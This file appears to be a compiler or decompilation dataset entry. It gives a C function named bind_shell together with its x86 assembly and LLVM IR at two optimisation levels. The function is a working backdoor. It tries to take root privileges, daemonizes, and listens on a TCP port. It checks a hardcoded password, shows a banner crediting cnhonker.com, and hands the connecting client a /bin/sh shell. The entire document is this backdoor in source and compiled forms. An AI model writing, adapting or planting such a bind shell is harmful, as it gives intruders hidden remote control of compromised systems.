#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct timeval {
  int tv_sec;
  scalar_t__ tv_usec;
};
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ serv_addr;
typedef int /*<<< orphan*/ passwd;
typedef int /*<<< orphan*/ client_addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ IPPROTO_TCP;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, int *);
int /*<<< orphan*/ alarm(int);
int bind(int, struct sockaddr *, int);
int /*<<< orphan*/ bzero(char *, int);
int /*<<< orphan*/ chdir(char *);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *);
int /*<<< orphan*/ exit(int);
int fork();
int getpid();
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
int listen(int, int);
int /*<<< orphan*/ recv(int, char *, int, int /*<<< orphan*/);
int /*<<< orphan*/ setegid(int /*<<< orphan*/);
int /*<<< orphan*/ seteuid(int /*<<< orphan*/);
int /*<<< orphan*/ setgid(int /*<<< orphan*/);
int /*<<< orphan*/ setpgrp();
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
scalar_t__ strcmp(char *, char *);
int strlen(char *);
int /*<<< orphan*/ write(int, char *, int);
int bind_shell(int port) {
  int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time;
  char passwd[15];
  struct sockaddr_in serv_addr;
  struct sockaddr_in client_addr;
  struct timeval testtime;
  setuid(0);
  setgid(0);
  seteuid(0);
  setegid(0);
  chdir("/");
  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (soc_des == -1)
    exit(-1);
  bzero((char *)&serv_addr, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons(port);
  soc_rc = bind(soc_des, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
  if (soc_rc != 0)
    exit(-1);
  if (fork() != 0)
    exit(0);
  setpgrp();
  if (fork() != 0)
    exit(0);
  soc_rc = listen(soc_des, 5);
  if (soc_rc != 0)
    exit(0);
  testtime.tv_sec = 120;
  testtime.tv_usec = 0;
  alarm(120);
  soc_len = sizeof(client_addr);
  soc_cli = accept(soc_des, (struct sockaddr *)&client_addr, &soc_len);
  if (soc_cli < 0)
    exit(0);
  alarm(0);
  cli_pid = getpid();
  server_pid = fork();
  if (server_pid != 0) {
    write(soc_cli, "\r\nEnter Your password: \0",
          strlen("\r\nEnter Your password: \0"));
    recv(soc_cli, passwd, sizeof(passwd), 0);
    for (i = 0; i < strlen(passwd); i++) {
      if (passwd[i] == '\n' || passwd[i] == '\r') {
        passwd[i] = '\0';
      }
    }
    if (strcmp(passwd, "kissme:)") != 0) {
      close(soc_cli);
      close(soc_rc);
      exit(-1);
    }
    write(soc_cli,
          "\r\n========Welcome to "
          "http://www.cnhonker.com========\r\n==========You got it, have a "
          "goodluck. :)=========\r\n\r\nYour command: \0",
          strlen("\r\n========Welcome to "
                 "http://www.cnhonker.com========\r\n==========You got it, "
                 "have a goodluck. :)=========\r\n\r\nYour command: \0"));
    for (i = 0; i < 3; i++) {
      dup2(soc_cli, i);
    }
    execl("/bin/sh", "sh", (char *)0);
    close(soc_cli);
    close(soc_rc);
    exit(1);
  }
  close(soc_cli);
  close(soc_rc);
  exit(0);
}


x86 assembly (clang, -O0):
<bind_shell>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
mov    %edi,-0x4(%rbp)
xor    %edi,%edi
call   1140 <setuid@plt>
xor    %edi,%edi
call   1100 <setgid@plt>
xor    %edi,%edi
call   11a0 <seteuid@plt>
xor    %edi,%edi
call   1170 <setegid@plt>
lea    0xd52(%rip),%rdi
call   1070 <chdir@plt>
mov    0x2d2e(%rip),%rax
mov    (%rax),%edi
mov    0x2d05(%rip),%rax
mov    (%rax),%esi
mov    0x2d0c(%rip),%rax
mov    (%rax),%edx
call   1190 <socket@plt>
mov    %eax,-0x8(%rbp)
cmpl   $0xffffffff,-0x8(%rbp)
jne    12ea <bind_shell+0x6a>
mov    $0xffffffff,%edi
call   1130 <exit@plt>
lea    -0x40(%rbp),%rdi
mov    $0xc,%esi
call   1110 <bzero@plt>
mov    0x2ce9(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x38(%rbp)
mov    0x2cd5(%rip),%rax
mov    (%rax),%edi
call   10a0 <htonl@plt>
mov    %eax,-0x3c(%rbp)
mov    -0x4(%rbp),%edi
call   1080 <htons@plt>
mov    %eax,-0x40(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x40(%rbp),%rsi
mov    $0xc,%edx
call   10f0 <bind@plt>
mov    %eax,-0x10(%rbp)
cmpl   $0x0,-0x10(%rbp)
je     1348 <bind_shell+0xc8>
mov    $0xffffffff,%edi
call   1130 <exit@plt>
mov    $0x0,%al
call   1180 <fork@plt>
cmp    $0x0,%eax
je     135f <bind_shell+0xdf>
xor    %edi,%edi
call   1130 <exit@plt>
mov    $0x0,%al
call   1160 <setpgrp@plt>
mov    $0x0,%al
call   1180 <fork@plt>
cmp    $0x0,%eax
je     137d <bind_shell+0xfd>
xor    %edi,%edi
call   1130 <exit@plt>
mov    -0x8(%rbp),%edi
mov    $0x5,%esi
call   10e0 <listen@plt>
mov    %eax,-0x10(%rbp)
cmpl   $0x0,-0x10(%rbp)
je     139e <bind_shell+0x11e>
xor    %edi,%edi
call   1130 <exit@plt>
movl   $0x78,-0x60(%rbp)
movq   $0x0,-0x58(%rbp)
mov    $0x78,%edi
call   10b0 <alarm@plt>
movl   $0xc,-0x14(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x50(%rbp),%rsi
lea    -0x14(%rbp),%rdx
call   1120 <accept@plt>
mov    %eax,-0xc(%rbp)
cmpl   $0x0,-0xc(%rbp)
jge    13e2 <bind_shell+0x162>
xor    %edi,%edi
call   1130 <exit@plt>
xor    %edi,%edi
call   10b0 <alarm@plt>
mov    $0x0,%al
call   1050 <getpid@plt>
mov    %eax,-0x1c(%rbp)
mov    $0x0,%al
call   1180 <fork@plt>
mov    %eax,-0x18(%rbp)
cmpl   $0x0,-0x18(%rbp)
je     1552 <bind_shell+0x2d2>
mov    -0xc(%rbp),%eax
mov    %eax,-0x64(%rbp)
lea    0xbff(%rip),%rdi
call   1060 <strlen@plt>
mov    -0x64(%rbp),%edi
mov    %eax,%edx
lea    0xbee(%rip),%rsi
call   1040 <write@plt>
mov    -0xc(%rbp),%edi
lea    -0x33(%rbp),%rsi
mov    $0xf,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
movl   $0x0,-0x20(%rbp)
mov    -0x20(%rbp),%eax
mov    %eax,-0x68(%rbp)
lea    -0x33(%rbp),%rdi
call   1060 <strlen@plt>
mov    %eax,%ecx
mov    -0x68(%rbp),%eax
cmp    %ecx,%eax
jge    14a0 <bind_shell+0x220>
movslq -0x20(%rbp),%rax
movsbl -0x33(%rbp,%rax,1),%eax
cmp    $0xa,%eax
je     1484 <bind_shell+0x204>
movslq -0x20(%rbp),%rax
movsbl -0x33(%rbp,%rax,1),%eax
cmp    $0xd,%eax
jne    148d <bind_shell+0x20d>
movslq -0x20(%rbp),%rax
movb   $0x0,-0x33(%rbp,%rax,1)
jmp    1492 <bind_shell+0x212>
mov    -0x20(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x20(%rbp)
jmp    1444 <bind_shell+0x1c4>
lea    -0x33(%rbp),%rdi
lea    0xb57(%rip),%rsi
call   10d0 <strcmp@plt>
cmp    $0x0,%rax
je     14d4 <bind_shell+0x254>
mov    -0xc(%rbp),%edi
call   10c0 <close@plt>
mov    -0x10(%rbp),%edi
call   10c0 <close@plt>
mov    $0xffffffff,%edi
call   1130 <exit@plt>
mov    -0xc(%rbp),%eax
mov    %eax,-0x6c(%rbp)
lea    0xb4b(%rip),%rdi
call   1060 <strlen@plt>
mov    -0x6c(%rbp),%edi
mov    %eax,%edx
lea    0xb3a(%rip),%rsi
call   1040 <write@plt>
movl   $0x0,-0x20(%rbp)
cmpl   $0x3,-0x20(%rbp)
jge    1521 <bind_shell+0x2a1>
mov    -0xc(%rbp),%edi
mov    -0x20(%rbp),%esi
call   1090 <dup2@plt>
mov    -0x20(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x20(%rbp)
jmp    14fe <bind_shell+0x27e>
lea    0xae3(%rip),%rdi
lea    0xae1(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1150 <execl@plt>
mov    -0xc(%rbp),%edi
call   10c0 <close@plt>
mov    -0x10(%rbp),%edi
call   10c0 <close@plt>
mov    $0x1,%edi
call   1130 <exit@plt>
mov    -0xc(%rbp),%edi
call   10c0 <close@plt>
mov    -0x10(%rbp),%edi
call   10c0 <close@plt>
xor    %edi,%edi
call   1130 <exit@plt>

x86 assembly (clang, -O2):
<bind_shell>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x38,%rsp
mov    %edi,%r15d
xor    %edi,%edi
call   1140 <setuid@plt>
xor    %edi,%edi
call   1100 <setgid@plt>
xor    %edi,%edi
call   11a0 <seteuid@plt>
xor    %edi,%edi
call   1170 <setegid@plt>
lea    0xd50(%rip),%rdi
call   1070 <chdir@plt>
mov    0x2d2c(%rip),%rbp
mov    0x0(%rbp),%edi
mov    0x2d02(%rip),%rax
mov    (%rax),%esi
mov    0x2d09(%rip),%rax
mov    (%rax),%edx
call   1190 <socket@plt>
cmp    $0xffffffff,%eax
je     1386 <bind_shell+0x106>
mov    %eax,%ebx
lea    0x8(%rsp),%r14
mov    %r14,%rdi
mov    $0xc,%esi
call   1110 <bzero@plt>
mov    0x0(%rbp),%eax
mov    %eax,0x10(%rsp)
mov    0x2cdf(%rip),%rax
mov    (%rax),%edi
call   10a0 <htonl@plt>
mov    %eax,0xc(%rsp)
mov    %r15d,%edi
call   1080 <htons@plt>
mov    %eax,0x8(%rsp)
mov    %ebx,%edi
mov    %r14,%rsi
mov    $0xc,%edx
call   10f0 <bind@plt>
test   %eax,%eax
jne    1386 <bind_shell+0x106>
xor    %eax,%eax
call   1180 <fork@plt>
test   %eax,%eax
jne    137f <bind_shell+0xff>
xor    %eax,%eax
call   1160 <setpgrp@plt>
xor    %eax,%eax
call   1180 <fork@plt>
test   %eax,%eax
jne    137f <bind_shell+0xff>
mov    %ebx,%edi
mov    $0x5,%esi
call   10e0 <listen@plt>
test   %eax,%eax
jne    137f <bind_shell+0xff>
mov    $0x78,%edi
call   10b0 <alarm@plt>
movl   $0xc,0x4(%rsp)
lea    0x28(%rsp),%rsi
lea    0x4(%rsp),%rdx
mov    %ebx,%edi
call   1120 <accept@plt>
test   %eax,%eax
jns    1390 <bind_shell+0x110>
xor    %edi,%edi
call   1130 <exit@plt>
mov    $0xffffffff,%edi
call   1130 <exit@plt>
mov    %eax,%r14d
xor    %edi,%edi
call   10b0 <alarm@plt>
xor    %eax,%eax
call   1050 <getpid@plt>
xor    %eax,%eax
call   1180 <fork@plt>
test   %eax,%eax
jne    13c2 <bind_shell+0x142>
mov    %r14d,%edi
call   10c0 <close@plt>
xor    %edi,%edi
call   10c0 <close@plt>
xor    %edi,%edi
call   1130 <exit@plt>
lea    0xc4a(%rip),%rbp
mov    %rbp,%rdi
call   1060 <strlen@plt>
mov    %r14d,%edi
mov    %rbp,%rsi
mov    %eax,%edx
call   1040 <write@plt>
lea    0x19(%rsp),%rbp
mov    %r14d,%edi
mov    %rbp,%rsi
mov    $0xf,%edx
xor    %ecx,%ecx
call   1030 <recv@plt>
mov    %rbp,%rdi
call   1060 <strlen@plt>
test   %eax,%eax
jle    1437 <bind_shell+0x1b7>
xor    %ebx,%ebx
lea    0x19(%rsp),%rbp
jmp    1428 <bind_shell+0x1a8>
nopw   0x0(%rax,%rax,1)
movb   $0x0,0x19(%rsp,%rbx,1)
add    $0x1,%rbx
mov    %rbp,%rdi
call   1060 <strlen@plt>
cltq
cmp    %rax,%rbx
jge    1437 <bind_shell+0x1b7>
movzbl 0x19(%rsp,%rbx,1),%eax
cmp    $0xd,%al
je     1410 <bind_shell+0x190>
cmp    $0xa,%al
je     1410 <bind_shell+0x190>
jmp    1415 <bind_shell+0x195>
lea    0xbc4(%rip),%rsi
lea    0x19(%rsp),%rdi
call   10d0 <strcmp@plt>
test   %rax,%rax
jne    14bb <bind_shell+0x23b>
lea    0xbd8(%rip),%rbp
mov    %rbp,%rdi
call   1060 <strlen@plt>
mov    %r14d,%edi
mov    %rbp,%rsi
mov    %eax,%edx
call   1040 <write@plt>
mov    %r14d,%edi
xor    %esi,%esi
call   1090 <dup2@plt>
mov    %r14d,%edi
mov    $0x1,%esi
call   1090 <dup2@plt>
mov    %r14d,%edi
mov    $0x2,%esi
call   1090 <dup2@plt>
lea    0xb77(%rip),%rdi
lea    0xb75(%rip),%rsi
xor    %edx,%edx
call   1150 <execl@plt>
mov    %r14d,%edi
call   10c0 <close@plt>
xor    %edi,%edi
call   10c0 <close@plt>
mov    $0x1,%edi
call   1130 <exit@plt>
mov    %r14d,%edi
call   10c0 <close@plt>
xor    %edi,%edi
call   10c0 <close@plt>
mov    $0xffffffff,%edi
call   1130 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.timeval = type { i32, i64 }
%struct.sockaddr = type { i32 }
@.str = [2 x i8] c"/\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@INADDR_ANY = global i32 0
@.str.1 = [25 x i8] c"\0D\0AEnter Your password: \00\00"
@.str.2 = [9 x i8] c"kissme:)\00"
@.str.3 = [124 x i8] c"\0D\0A========Welcome to http://www.cnhonker.com========\0D\0A==========You got it, have a goodluck. :)=========\0D\0A\0D\0AYour command: \00\00"
@.str.4 = [8 x i8] c"/bin/sh\00"
@.str.5 = [3 x i8] c"sh\00"
define i32 @bind_shell(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca [15 x i8]
%12 = alloca %struct.sockaddr_in
%13 = alloca %struct.sockaddr_in
%14 = alloca %struct.timeval
store i32 %0, i32* %2
%15 = call i32 @setuid(i32 0)
%16 = call i32 @setgid(i32 0)
%17 = call i32 @seteuid(i32 0)
%18 = call i32 @setegid(i32 0)
%19 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%20 = load i32, i32* @AF_INET
%21 = load i32, i32* @SOCK_STREAM
%22 = load i32, i32* @IPPROTO_TCP
%23 = call i32 @socket(i32 %20, i32 %21, i32 %22)
store i32 %23, i32* %3
%24 = load i32, i32* %3
%25 = icmp eq i32 %24, -1
br i1 %25, label %26, label %28
26: ; preds = %1
%27 = call i32 @exit(i32 -1)
unreachable
28: ; preds = %1
%29 = bitcast %struct.sockaddr_in* %12 to i8*
%30 = call i32 @bzero(i8* %29, i32 12)
%31 = load i32, i32* @AF_INET
%32 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %12, i32 0, i32 2
store i32 %31, i32* %32
%33 = load i32, i32* @INADDR_ANY
%34 = call i32 @htonl(i32 %33)
%35 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %12, i32 0, i32 1
%36 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %35, i32 0, i32 0
store i32 %34, i32* %36
%37 = load i32, i32* %2
%38 = call i32 @htons(i32 %37)
%39 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %12, i32 0, i32 0
store i32 %38, i32* %39
%40 = load i32, i32* %3
%41 = bitcast %struct.sockaddr_in* %12 to %struct.sockaddr*
%42 = call i32 @bind(i32 %40, %struct.sockaddr* %41, i32 12)
store i32 %42, i32* %5
%43 = load i32, i32* %5
%44 = icmp ne i32 %43, 0
br i1 %44, label %45, label %47
45: ; preds = %28
%46 = call i32 @exit(i32 -1)
unreachable
47: ; preds = %28
%48 = call i32 (...) @fork()
%49 = icmp ne i32 %48, 0
br i1 %49, label %50, label %52
50: ; preds = %47
%51 = call i32 @exit(i32 0)
unreachable
52: ; preds = %47
%53 = call i32 (...) @setpgrp()
%54 = call i32 (...) @fork()
%55 = icmp ne i32 %54, 0
br i1 %55, label %56, label %58
56: ; preds = %52
%57 = call i32 @exit(i32 0)
unreachable
58: ; preds = %52
%59 = load i32, i32* %3
%60 = call i32 @listen(i32 %59, i32 5)
store i32 %60, i32* %5
%61 = load i32, i32* %5
%62 = icmp ne i32 %61, 0
br i1 %62, label %63, label %65
63: ; preds = %58
%64 = call i32 @exit(i32 0)
unreachable
65: ; preds = %58
%66 = getelementptr inbounds %struct.timeval, %struct.timeval* %14, i32 0, i32 0
store i32 120, i32* %66
%67 = getelementptr inbounds %struct.timeval, %struct.timeval* %14, i32 0, i32 1
store i64 0, i64* %67
%68 = call i32 @alarm(i32 120)
store i32 12, i32* %6
%69 = load i32, i32* %3
%70 = bitcast %struct.sockaddr_in* %13 to %struct.sockaddr*
%71 = call i32 @accept(i32 %69, %struct.sockaddr* %70, i32* %6)
store i32 %71, i32* %4
%72 = load i32, i32* %4
%73 = icmp slt i32 %72, 0
br i1 %73, label %74, label %76
74: ; preds = %65
%75 = call i32 @exit(i32 0)
unreachable
76: ; preds = %65
%77 = call i32 @alarm(i32 0)
%78 = call i32 (...) @getpid()
store i32 %78, i32* %8
%79 = call i32 (...) @fork()
store i32 %79, i32* %7
%80 = load i32, i32* %7
%81 = icmp ne i32 %80, 0
br i1 %81, label %82, label %147
82: ; preds = %76
%83 = load i32, i32* %4
%84 = call i32 @strlen(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.1, i64 0, i64 0))
%85 = call i32 @write(i32 %83, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.1, i64 0, i64 0), i32 %84)
%86 = load i32, i32* %4
%87 = getelementptr inbounds [15 x i8], [15 x i8]* %11, i64 0, i64 0
%88 = call i32 @recv(i32 %86, i8* %87, i32 15, i32 0)
store i32 0, i32* %9
br label %89
89: ; preds = %113, %82
%90 = load i32, i32* %9
%91 = getelementptr inbounds [15 x i8], [15 x i8]* %11, i64 0, i64 0
%92 = call i32 @strlen(i8* %91)
%93 = icmp slt i32 %90, %92
br i1 %93, label %94, label %116
94: ; preds = %89
%95 = load i32, i32* %9
%96 = sext i32 %95 to i64
%97 = getelementptr inbounds [15 x i8], [15 x i8]* %11, i64 0, i64 %96
%98 = load i8, i8* %97
%99 = sext i8 %98 to i32
%100 = icmp eq i32 %99, 10
br i1 %100, label %108, label %101
101: ; preds = %94
%102 = load i32, i32* %9
%103 = sext i32 %102 to i64
%104 = getelementptr inbounds [15 x i8], [15 x i8]* %11, i64 0, i64 %103
%105 = load i8, i8* %104
%106 = sext i8 %105 to i32
%107 = icmp eq i32 %106, 13
br i1 %107, label %108, label %112
108: ; preds = %101, %94
%109 = load i32, i32* %9
%110 = sext i32 %109 to i64
%111 = getelementptr inbounds [15 x i8], [15 x i8]* %11, i64 0, i64 %110
store i8 0, i8* %111
br label %112
112: ; preds = %108, %101
br label %113
113: ; preds = %112
%114 = load i32, i32* %9
%115 = add nsw i32 %114, 1
store i32 %115, i32* %9
br label %89
116: ; preds = %89
%117 = getelementptr inbounds [15 x i8], [15 x i8]* %11, i64 0, i64 0
%118 = call i64 @strcmp(i8* %117, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0))
%119 = icmp ne i64 %118, 0
br i1 %119, label %120, label %126
120: ; preds = %116
%121 = load i32, i32* %4
%122 = call i32 @close(i32 %121)
%123 = load i32, i32* %5
%124 = call i32 @close(i32 %123)
%125 = call i32 @exit(i32 -1)
unreachable
126: ; preds = %116
%127 = load i32, i32* %4
%128 = call i32 @strlen(i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.3, i64 0, i64 0))
%129 = call i32 @write(i32 %127, i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.3, i64 0, i64 0), i32 %128)
store i32 0, i32* %9
br label %130
130: ; preds = %137, %126
%131 = load i32, i32* %9
%132 = icmp slt i32 %131, 3
br i1 %132, label %133, label %140
133: ; preds = %130
%134 = load i32, i32* %4
%135 = load i32, i32* %9
%136 = call i32 @dup2(i32 %134, i32 %135)
br label %137
137: ; preds = %133
%138 = load i32, i32* %9
%139 = add nsw i32 %138, 1
store i32 %139, i32* %9
br label %130
140: ; preds = %130
%141 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0), i8* null)
%142 = load i32, i32* %4
%143 = call i32 @close(i32 %142)
%144 = load i32, i32* %5
%145 = call i32 @close(i32 %144)
%146 = call i32 @exit(i32 1)
unreachable
147: ; preds = %76
%148 = load i32, i32* %4
%149 = call i32 @close(i32 %148)
%150 = load i32, i32* %5
%151 = call i32 @close(i32 %150)
%152 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [2 x i8] c"/\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@IPPROTO_TCP = global i32 0
@INADDR_ANY = global i32 0
@.str.1 = [25 x i8] c"\0D\0AEnter Your password: \00\00"
@.str.2 = [9 x i8] c"kissme:)\00"
@.str.3 = [124 x i8] c"\0D\0A========Welcome to http://www.cnhonker.com========\0D\0A==========You got it, have a goodluck. :)=========\0D\0A\0D\0AYour command: \00\00"
@.str.4 = [8 x i8] c"/bin/sh\00"
@.str.5 = [3 x i8] c"sh\00"
define i32 @bind_shell(i32 %0) {
%2 = alloca i32
%3 = alloca [15 x i8]
%4 = alloca %struct.sockaddr_in
%5 = alloca %struct.sockaddr_in
%6 = bitcast i32* %2 to i8*
%7 = getelementptr inbounds [15 x i8], [15 x i8]* %3, i64 0, i64 0
%8 = bitcast %struct.sockaddr_in* %4 to i8*
%9 = bitcast %struct.sockaddr_in* %5 to i8*
%10 = tail call i32 @setuid(i32 0)
%11 = tail call i32 @setgid(i32 0)
%12 = tail call i32 @seteuid(i32 0)
%13 = tail call i32 @setegid(i32 0)
%14 = tail call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%15 = load i32, i32* @AF_INET
%16 = load i32, i32* @SOCK_STREAM
%17 = load i32, i32* @IPPROTO_TCP
%18 = tail call i32 @socket(i32 %15, i32 %16, i32 %17)
%19 = icmp eq i32 %18, -1
br i1 %19, label %20, label %22
20: ; preds = %1
%21 = tail call i32 @exit(i32 -1)
unreachable
22: ; preds = %1
%23 = call i32 @bzero(i8* %8, i32 12)
%24 = load i32, i32* @AF_INET
%25 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i32 %24, i32* %25
%26 = load i32, i32* @INADDR_ANY
%27 = tail call i32 @htonl(i32 %26)
%28 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1, i32 0
store i32 %27, i32* %28
%29 = tail call i32 @htons(i32 %0)
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0
store i32 %29, i32* %30
%31 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%32 = call i32 @bind(i32 %18, %struct.sockaddr* %31, i32 12)
%33 = icmp eq i32 %32, 0
br i1 %33, label %36, label %34
34: ; preds = %22
%35 = call i32 @exit(i32 -1)
unreachable
36: ; preds = %22
%37 = call i32 (...) @fork()
%38 = icmp eq i32 %37, 0
br i1 %38, label %41, label %39
39: ; preds = %36
%40 = call i32 @exit(i32 0)
unreachable
41: ; preds = %36
%42 = call i32 (...) @setpgrp()
%43 = call i32 (...) @fork()
%44 = icmp eq i32 %43, 0
br i1 %44, label %47, label %45
45: ; preds = %41
%46 = call i32 @exit(i32 0)
unreachable
47: ; preds = %41
%48 = call i32 @listen(i32 %18, i32 5)
%49 = icmp eq i32 %48, 0
br i1 %49, label %52, label %50
50: ; preds = %47
%51 = call i32 @exit(i32 0)
unreachable
52: ; preds = %47
%53 = call i32 @alarm(i32 120)
store i32 12, i32* %2
%54 = bitcast %struct.sockaddr_in* %5 to %struct.sockaddr*
%55 = call i32 @accept(i32 %18, %struct.sockaddr* %54, i32* %2)
%56 = icmp slt i32 %55, 0
br i1 %56, label %57, label %59
57: ; preds = %52
%58 = call i32 @exit(i32 0)
unreachable
59: ; preds = %52
%60 = call i32 @alarm(i32 0)
%61 = call i32 (...) @getpid()
%62 = call i32 (...) @fork()
%63 = icmp eq i32 %62, 0
br i1 %63, label %97, label %64
64: ; preds = %59
%65 = call i32 @strlen(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.1, i64 0, i64 0))
%66 = call i32 @write(i32 %55, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.1, i64 0, i64 0), i32 %65)
%67 = call i32 @recv(i32 %55, i8* %7, i32 15, i32 0)
%68 = call i32 @strlen(i8* %7)
%69 = icmp sgt i32 %68, 0
br i1 %69, label %70, label %80
70: ; preds = %64, %75
%71 = phi i64 [ %76, %75 ], [ 0, %64 ]
%72 = getelementptr inbounds [15 x i8], [15 x i8]* %3, i64 0, i64 %71
%73 = load i8, i8* %72
switch i8 %73, label %75 [
i8 10, label %74
i8 13, label %74
]
74: ; preds = %70, %70
store i8 0, i8* %72
br label %75
75: ; preds = %70, %74
%76 = add nuw nsw i64 %71, 1
%77 = call i32 @strlen(i8* %7)
%78 = sext i32 %77 to i64
%79 = icmp slt i64 %76, %78
br i1 %79, label %70, label %80
80: ; preds = %75, %64
%81 = call i64 @strcmp(i8* %7, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0))
%82 = icmp eq i64 %81, 0
br i1 %82, label %87, label %83
83: ; preds = %80
%84 = call i32 @close(i32 %55)
%85 = call i32 @close(i32 0)
%86 = call i32 @exit(i32 -1)
unreachable
87: ; preds = %80
%88 = call i32 @strlen(i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.3, i64 0, i64 0))
%89 = call i32 @write(i32 %55, i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.3, i64 0, i64 0), i32 %88)
%90 = call i32 @dup2(i32 %55, i32 0)
%91 = call i32 @dup2(i32 %55, i32 1)
%92 = call i32 @dup2(i32 %55, i32 2)
%93 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0), i8* null)
%94 = call i32 @close(i32 %55)
%95 = call i32 @close(i32 0)
%96 = call i32 @exit(i32 1)
unreachable
97: ; preds = %59
%98 = call i32 @close(i32 %55)
%99 = call i32 @close(i32 0)
%100 = call i32 @exit(i32 0)
unreachable
}